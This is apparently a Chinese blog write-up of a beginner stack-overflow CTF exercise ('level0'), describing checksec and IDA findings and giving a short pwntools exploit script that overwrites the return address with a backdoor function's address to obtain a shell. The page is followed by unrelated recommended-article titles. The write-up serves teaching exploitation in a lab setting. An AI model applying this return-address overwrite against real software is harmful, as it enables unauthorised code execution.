当前位置:网站首页>pwn栈溢出基础练习题——1
pwn栈溢出基础练习题——1
2022-07-22 18:12:00 【Mokapeng】
题目地址:https://www.aliyundrive.com/s/uKW6ZjVv2yo
pwn0
先checksec一下:
发现只开了栈不可执行,放入ida发现漏洞函数和后门函数

于是这就是简单的栈溢出题目,简单动态调试一下就好了
构造溢出栈图
exp.py
from pwn import *
elf = ELF("./level0")
io = process("./level0")
io.recv()
callsystem_add = elf.symbols["callsystem"]
payload = b'A'*(0x80+8) + p64(callsystem_add)
io.sendline(payload)
io.interactive()
边栏推荐
猜你喜欢

esp-idf vscode配置 从下载工具链到创建工程,步骤记录

The difference between get request and post request

LC:剑指 Offer 05. 替换空格

從鍵盤輸入一串字符,輸出不同的字符以及每個字符出現的次數。(輸出不按照順序)運用String類的常用方法解題

Explain three networking modes under virtual machine in detail

iptables防火墙

03. Design of large-scale high parallel micro service system

资产测绘流程

Transplantation de systèmes embarqués

mysql数据库基本知识
随机推荐
防火墙调研报告
跨域问题的解决
Operation of numerical variables and special variables
Firewall knowledge, principle, equipment, manufacturer research summary report
October essay
Logical volume management
资产测绘流程
The difference between get request and post request and packet capturing
get请求和post请求的区别
防火墙粗略了解
LC:剑指 Offer 05. 替换空格
Judge whether the map contains the specified key and value
Implementing IO multiplexing in UNIX using epoll function to realize network socket server
[jmeter] solution to Chinese garbled response content
基于知识图谱的职位推荐系统的设计与实现
循环与函数
Configure the private chirpstack of lorawan in the LAN
KMP
The difference between get request and post request
【无标题】